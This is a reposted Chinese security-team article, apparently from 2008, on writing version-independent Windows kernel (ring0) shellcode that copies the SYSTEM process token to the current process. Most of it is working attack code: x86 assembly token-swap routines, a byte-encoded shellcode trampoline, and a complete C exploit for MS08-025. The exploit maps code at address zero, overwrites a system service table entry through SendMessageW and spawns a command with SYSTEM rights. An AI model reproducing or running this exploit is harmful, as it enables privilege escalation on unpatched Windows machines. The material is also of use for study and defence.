編寫通用核心shellcode

來源:互聯網
上載者:User

 編寫通用核心shellcode

 

2008/06/19 20:39 |
鬼仔 |
技術文章 |
佔個座先

==Ph4nt0m Security Team==

Issue 0x02, Phile #0x05 of 0x0A

|=---------------------------------------------------------------------------=|
|=------------------------=[ 編寫通用核心shellcode ]=------------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=-----------------------=[ By Tms320 ]=----------------------=|
|=----------------------=[ <Tms320_at_ph4nt0m.org> ]=---------------------=|
|=---------------------------------------------------------------------------=|

一、多個核心漏洞的出現將研究者的目光從ring3引向了ring0

最近曝光的ms08-025漏洞,受影響的系統包含了微軟出版的幾乎所有NT體繫結構的版本,引起了不少研究者的興趣,漏洞曝光不久就在網上出現了利用程式。基於核心漏洞的溢出,為我們擷取系統的ring0執行許可權開啟了方便之門,通過這類漏洞提升本地執行許可權,擷取system許可權執行層級。

目前流傳的利用程式,ring0 shellcode大多通過將system進程的Token賦予當前進程來擷取system許可權。比較典型的代碼如下:

if ( OsVersionInfo.dwMinorVersion == 0 ) {

__asm {

nop
nop
nop
nop
nop
nop

mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]

mov esi,[eax+0x44]//取當前進程EPROCESS
mov eax,esi

search2000:

mov eax,[eax+0xA0]
sub eax,0xA0
mov edx,[eax+0x9C]
cmp edx,0x8 // 通過PID尋找系統進程
jne search2000

mov eax,[eax+0x12C] // 擷取system進程的token
mov [esi+0x12C],eax // 修改當前進程的token
ret 8

}
}

if ( OsVersionInfo.dwMinorVersion == 1 ) {

__asm {

nop
nop
nop
nop
nop
nop

mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]

mov esi,[eax+0x220]
mov eax,esi

searchXp:

mov eax,[eax+0x88]
sub eax,0x88
mov edx,[eax+0x84]
cmp edx,0x4 // 通過PID尋找系統進程
jne searchXp

mov eax,[eax+0xc8] // 擷取system進程的token
mov [esi+0xc8],eax // 修改當前進程的token

ret 8

}
}

if ( OsVersionInfo.dwMinorVersion == 2 ) {

__asm {

nop
nop
nop
nop
nop
nop

mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]

mov esi,[eax+0x218]
mov eax,esi

search2003:

mov eax,[eax+0x98]
sub eax,0x98
mov edx,[eax+0x94]
cmp edx,0x4 // 通過PID尋找系統進程
jne search2003

mov eax,[eax+0xd8] // 擷取system進程的token
mov [esi+0xd8],eax // 修改當前進程的token
ret 8

}
}

對於視窗作業系統,由於EPROCESS這個結構不固定,不同系統中system進程PID不同,導致上述代碼遍曆EPROCESS鏈表尋找system進程時需要先判斷系統版本,實際是採用硬式編碼方式ring0 shellcode。這種做法的相容性並不是太好,在同一系統不同補丁下,難免保證不出現藍屏。筆者利用上述代碼,在非sp1的2k3系統上藍屏,深刻體會到了ring0利用程式崩潰時候的威力。

二、本地通用的提權代碼

為了提高相容性,就要盡量避免使用硬式編碼方式。由ring3 shellcode的編程經驗可知。使用API可以可靠的執行需要的操作。而API的名稱則相對固定。

提權操作將system進程的Token賦予當前執行進程,我們需要做以下的操作:

1.找到system進程EPROCESS。ring0 可以直接存取EPROCESS結構,而ntoskrnl.exe匯出的PsInitialSystemProcess 是一個指向system進程的EPROCESS的指標。我們只要從ntoskrnl.exe擷取匯出變數PsInitialSystemProcess即可獲得system進程的EPROCESS。

2.獲得當前進程的EPROCESS。ntoskrnl.exe提供了IoThreadToProcess(xp,2k3的PsGetThreadProcess為同一函數)可以尋找線程所屬的進程,而當前執行線程可由KPCR+124h獲得,通過當前執行線程調用IoThreadToProcess就可以獲得當前進程的EPROCESS。鑒於對於不同版本的NT系統,KPCR這個結構是一個相當穩定的結構,我們甚至可以從記憶體[0FFDFF124h]擷取當前線程的ETHREAD指標。

3.替換當前進程的Token為system的Token。由於Token在EPROCESS中的位移不固定,需要先找出這個位移值,然後再替換。ntoskrnl.exe匯出PsReferencePrimaryToken函數包含了從EPROCESS取Token的操作,我們需要把這個位移量先從這個函數中挖出來。

對於win 2k系統,PsReferencePrimaryToken取Token的代碼為:

mov eax, [ebp+8]
mov edi, [eax+12Ch]
lea eax, [edi-18h]

對於win xp/2k3系統,PsReferencePrimaryToken取Token的代碼為:

mov edi, [ebp+8]
lea ebx, [edi+0D8h]

雖然使用的寄存器不固定,但指令相對固定,可以採用獲得PsReferencePrimaryToken入口地址後搜尋lea指令獲得。再根據位移為小於EPROCESS長度這一特性,取lea指令前後高位兩個字為0的運算元即可擷取Token的位移量。

綜上所述,給出對應的shellcode:

PsReferencePrimaryToken=80123456h
PsInitialSystemProcess=80123456h
IoThreadToProcess=80123456h;
pushad
pushfd
mov esi,PsReferencePrimaryToken
findtokenoffset:
lodsb
cmp al, 8Dh;
jnz findtokenoffset
mov edi,[esi+1]
and al, [esi+3];判斷是否為Win 2k
jz @F
mov edi,[esi-5]
@@:
mov esi, [PsInitialSystemProcess]
push dword ptr [0FFDFF124h]
mov eax,PsGetThreadProcess
call eax
add esi, edi
add edi, eax
movsd
popfd
popad
ret 08h

代碼中的常數PsReferencePrimaryToken,PsInitialSystemProcess,IoThreadToProcess可以通過載入ntoskrnl.exe,由GetProcAddress在本地擷取(需修正到核心地址)。附件給出的完整ms08-025通用利用程式將給出擷取這些地址的常式。

三、進一步提高通用性

如果需要靠shellcode自己擷取API的地址,就需要shellcode加上擷取API地址的代碼和擷取ntoskrnl.exe核心基址的代碼。由於PE檔案格式是固定的,ring3級的API引擎在ring0下同樣適用,我們可以通過API名稱的編碼,利用API引擎擷取對應函數地址。ntoskrnl.exe核心基址可以通過擷取其中的函數後搜尋PE頭獲得。在系統的中斷描述符表中,我們可以找到不少ntoskrnl.exe中斷處理函數地址。利用sidt指令,我們可以擷取指向系統中斷描述符表的指標,進一步獲得ntoskrnl.exe中的函數。IDT指標同樣儲存在KPCR結構中,更為簡單的方法是直接從[0FFDFF038h](KPCR+38h)記憶體中讀取。

筆者基於上述思想編寫了161位元組的ring0 shellcode,成功用在了ms08-025的溢出中。
以這種方式實現的ring0 shellcdoe,可以不倚賴外部函數獨立執行API操作,能夠用於遠端核心溢出中。遠程ring0 shellcode僅僅在幻影內部交流,讀者可以按照前述思想自己實現相關代碼。

四、附錄

無需判斷系統版本的通用利用程式,如果你打崩了,請聯絡我,我進一步做改進。

#include <stdio.h>
#include <windows.h>
#pragma comment (lib, "user32.lib")
#pragma comment (lib, "ntdll.lib")

typedef LONG NTSTATUS;

typedef NTSTATUS (NTAPI *PNTALLOCATE)(HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG RegionSize,
ULONG AllocationType,
ULONG Protect );
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);

ZWVDMCONTROL ZwVdmControl=NULL;
DWORD PsReferencePrimaryToken = 0;
DWORD PsInitialSystemProcess = 0;
DWORD IoThreadToProcess = 0;

#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef enum _SYSTEM_INFORMATION_CLASS {

SystemModuleInformation=11,
} SYSTEM_INFORMATION_CLASS;

typedef struct _IMAGE_FIXUP_ENTRY {

WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11

ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

extern "C"
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);

extern "C"
NTSTATUS
NTAPI
NtQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

extern "C"
PIMAGE_NT_HEADERS
NTAPI
RtlImageNtHeader (
IN PVOID Base
);

extern "C"
PVOID
NTAPI
RtlImageDirectoryEntryToData (
IN PVOID Base,
IN BOOLEAN MappedAsImage,
IN USHORT DirectoryEntry,
OUT PULONG Size
);

void ErrorQuit(char *msg)
{
printf("%s:%x\n", msg, GetLastError());
ExitProcess(0);
}

DWORD
GetKernelBase(char *KernelName)
{
NTSTATUS status = STATUS_SUCCESS;
ULONG i = 0;
ULONG NeedSize = 0;
ULONG ModuleTotal = 0;
DWORD dwKernelBase = 0;
PCHAR Temp[10];
PSYSTEM_MODULE_INFORMATION SystemModuleInfo = NULL;

status = NtQuerySystemInformation(
SystemModuleInformation,
(PVOID)Temp,
10,
&NeedSize );

if( status != STATUS_INFO_LENGTH_MISMATCH ) {

printf("NtQuerySystemInformation (first) failed, status: %08X\n", status );
return dwKernelBase;
}

SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)LocalAlloc( LPTR, NeedSize );
if ( NULL == SystemModuleInfo ) {

printf("NtQuerySystemInformation failed (second), code: %08X\n", GetLastError() );
return dwKernelBase;
}

status = NtQuerySystemInformation(
SystemModuleInformation,
SystemModuleInfo,
NeedSize,
&NeedSize );

if( status != STATUS_SUCCESS ) {

printf("NtQuerySystemInformation failed, status: %08X\n", status );
return dwKernelBase;
}

ModuleTotal = *(PULONG)SystemModuleInfo;
SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)SystemModuleInfo+4);

for( i=0; i<ModuleTotal; i++ ) {

if( strstr(SystemModuleInfo->ImageName, "ntoskrnl.exe")) {
strcpy(KernelName, "ntoskrnl.exe");
dwKernelBase = (DWORD)SystemModuleInfo->Base;
break;
}
else if( strstr(SystemModuleInfo->ImageName, "ntkrnlpa.exe")) {
strcpy(KernelName, "ntkrnlpa.exe");
dwKernelBase = (DWORD)SystemModuleInfo->Base;
break;
}
}

LocalFree( SystemModuleInfo );
return dwKernelBase;
}

DWORD
FindKiServiceTable(HMODULE hModule, DWORD dwKeSDTOffset)
{
PIMAGE_NT_HEADERS NtHeaders = NULL;
PIMAGE_BASE_RELOCATION ImageBaseReloc = NULL;
PIMAGE_FIXUP_ENTRY ImageFixup = NULL;
DWORD RelocTableSize = 0;
DWORD i;
DWORD dwVirtualAddress;
DWORD dwRva;
DWORD dwKiServiceTable = 0;

NtHeaders = RtlImageNtHeader( hModule );
ImageBaseReloc = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData( (PVOID)hModule,
TRUE,
IMAGE_DIRECTORY_ENTRY_BASERELOC,
&RelocTableSize );
if ( NULL == ImageBaseReloc ) {

return 0;
}

do {

ImageFixup = (PIMAGE_FIXUP_ENTRY)((DWORD)ImageBaseReloc + sizeof(IMAGE_BASE_RELOCATION));

for ( i = 0;
i < ( ImageBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) >> 1;
i++, ImageFixup++ ) {

if ( ImageFixup->type == IMAGE_REL_BASED_HIGHLOW ) {

dwVirtualAddress = ImageBaseReloc->VirtualAddress + ImageFixup->offset;
dwRva = *(PDWORD)((DWORD)hModule+dwVirtualAddress) - (DWORD)NtHeaders->OptionalHeader.ImageBase;

if ( dwRva == dwKeSDTOffset ) {

if (*(PWORD)((DWORD)hModule + dwVirtualAddress-2) == 0x05c7) {

dwKiServiceTable = *(PDWORD)((DWORD)hModule + dwVirtualAddress+4) - NtHeaders->OptionalHeader.ImageBase;
return dwKiServiceTable;
}
}
}
}

*(PDWORD)&ImageBaseReloc += ImageBaseReloc->SizeOfBlock;

} while ( ImageBaseReloc->VirtualAddress );

return 0;
}

void InitTrampoline()
{

PNTALLOCATE NtAllocateVirtualMemory;
LPVOID addr = (LPVOID)3;
DWORD dwShellSize=0x1000;
unsigned char trampoline[]=
"\x60\x9C\xBE\x56\x34\x12\x80\xAC\x3C\x8D\x75\xFB\x8B\x7E\x01\x22"
"\x46\x03\x74\x03\x8B\x7E\xFB\x8B\x35\x56\x34\x12\x80\xFF\x35\x24"
"\xF1\xDF\xFF\xB8\x56\x34\x12\x80\xFF\xD0\x03\xF7\x03\xF8\xA5\x9D"
"\x61\xC2\x08\x00";

NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");

if( !NtAllocateVirtualMemory )
exit(0);

NtAllocateVirtualMemory( (HANDLE)-1,
&addr,
0,
&dwShellSize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );

if( (PULONG)addr )
{
printf("\n[++] Error Allocating memory\n");
exit(0);
}

*(DWORD*)(trampoline+3)=PsReferencePrimaryToken;
*(DWORD*)(trampoline+0x19)=PsInitialSystemProcess;
*(DWORD*)(trampoline+0x24)=IoThreadToProcess;
memcpy(NULL,trampoline,sizeof(trampoline)-1);
}

void GetFunction()
{
HMODULE hNtdll;

hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll == NULL)
ErrorQuit("LoadLibrary failed.\n");

ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
if(ZwVdmControl == NULL)
ErrorQuit("GetProcAddress failed.\n");

FreeLibrary(hNtdll);
}
int main(int argc, char **argv)
{

//PULONG PntVdmControl=0x805F0DB0;
DWORD PntVdmControl=0x80800458; //通過*(PULONG)(KeServiceDescriptorTalbe)+0x10c*4獲得

PVOID KeServiceDescriptorTable = NULL;
DWORD dwKernelBase = 0;
DWORD dwKeSDTOffset = 0;
DWORD dwKiServiceTable = 0;
DWORD FuncNumber = 0;
HMODULE hKernel;
char szNtos[MAX_PATH] = {0};

STARTUPINFOA stStartup;
PROCESS_INFORMATION pi;

printf("\n\tMS08-025 Windows Local Privilege Escalation Vulnerability Exploit \n");
printf("\tBy Tms320, Tms320@ph4nt0m.org\n");
printf("\tAll unpathched OS can be compromised\n\n");
if ( argc < 2 )
{
printf("\tUsage: %s <command>\n", argv[0]);
exit(0);
}

GetFunction();

dwKernelBase = GetKernelBase(szNtos);

if( dwKernelBase )
{
printf("Get KernelBase Success, %s base = %08X\n", szNtos, dwKernelBase);
hKernel = LoadLibraryExA(szNtos,0,1);
}
else
{
printf("GetProcAddress failed, code: %d\n", GetLastError());
return FALSE;
}

KeServiceDescriptorTable = GetProcAddress( hKernel, "KeServiceDescriptorTable" );
if ( NULL == KeServiceDescriptorTable ) ErrorQuit("Get KeServiceDescriptorTable Address failed");

printf( "KeServiceDescriptorTable = %08X\n", KeServiceDescriptorTable );

dwKeSDTOffset = (DWORD)KeServiceDescriptorTable - (DWORD)hKernel;

dwKiServiceTable = FindKiServiceTable( hKernel, dwKeSDTOffset );
if ( 0 == dwKiServiceTable )ErrorQuit("Find KiServiceTable failed.\n");
printf( "ok!!!\nKiServiceTable == %08X\n", dwKiServiceTable + dwKernelBase );

FuncNumber = *(PDWORD)((DWORD)ZwVdmControl + 1);

printf( "ZwVdmControl Call Number: %08X\n", FuncNumber );

PntVdmControl = (DWORD)( dwKiServiceTable + dwKernelBase + FuncNumber * sizeof(DWORD) );

PsReferencePrimaryToken = (DWORD)GetProcAddress( hKernel, "PsReferencePrimaryToken" )-(DWORD)hKernel+dwKernelBase;
PsInitialSystemProcess = (DWORD)GetProcAddress( hKernel, "PsInitialSystemProcess" )-(DWORD)hKernel+dwKernelBase;
IoThreadToProcess = (DWORD)GetProcAddress( hKernel, "IoThreadToProcess" )-(DWORD)hKernel+dwKernelBase;
InitTrampoline();

SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, PntVdmControl );
SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, PntVdmControl+2);
printf("\n[+] Executing Shellcode...\n");

ZwVdmControl(0, NULL);
GetStartupInfo( &stStartup );

CreateProcess( NULL,
argv[1],
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
&pi ); //此時建立的cmd.exe是SYSTEM許可權

printf("[+] Exiting...\n");

return TRUE;
}

-EOF-

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.